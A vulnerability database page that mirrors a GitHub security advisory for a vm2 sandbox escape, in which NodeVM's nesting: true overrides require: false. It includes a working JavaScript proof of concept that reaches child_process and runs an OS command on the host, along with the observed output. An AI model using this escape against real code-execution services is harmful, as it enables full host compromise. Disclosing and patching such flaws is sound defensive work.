Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-8hg8-63c5-gwmx

Опубликовано: 07 мая 2026
Источник: github
Github: Прошло ревью
CVSS3: 9.1

Описание

vm2 NodeVM nesting: true bypasses require: false allowing sandbox escape and arbitrary OS command execution

Summary

When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.

Details

The vulnerability is in how the nesting: true option interacts with the legacy module resolver.

lib/nodevm.js:96-99NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:

const NESTING_OVERRIDE = Object.freeze({ __proto__: null, vm2: vm2NestingLoader });

lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:

const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTING_OVERRIDE, // ← injected when nesting:true this._compiler );

lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:

function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTING_OVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable } // ... }

lib/builtin.js:102-106NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:

if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } }

The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.

This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

const { NodeVM } = require('vm2'); // Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false }); const result = vm.run(` // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2'); // Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['child_process'] } }); // Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("child_process").execSync("id").toString()' ); `); console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):

uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

The variant with require: false also works — the outer VM's require setting has no effect:

new NodeVM({ nesting: true, require: false }).run(` const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['child_process'] } }) .run('module.exports = require("child_process").execSync("id").toString()'); `); // uid=1000(akshat) ...

Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.

Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.

Пакеты

Наименование

vm2

npm
Затронутые версииВерсия исправления

<= 3.11.0

3.11.1

EPSS

Процентиль: 58%
0.0096
Низкий

9.1 Critical

CVSS3

Дефекты

CWE-284
CWE-693

Связанные уязвимости

CVSS3: 9.9
redhat
3 месяца назад

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

CVSS3: 9.1
nvd
3 месяца назад

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

CVSS3: 9.1
fstec
3 месяца назад

Уязвимость библиотеки vm2 пакетного менеджера NPM, позволяющая нарушителю выполнять произвольные команды

EPSS

Процентиль: 58%
0.0096
Низкий

9.1 Critical

CVSS3

Дефекты

CWE-284
CWE-693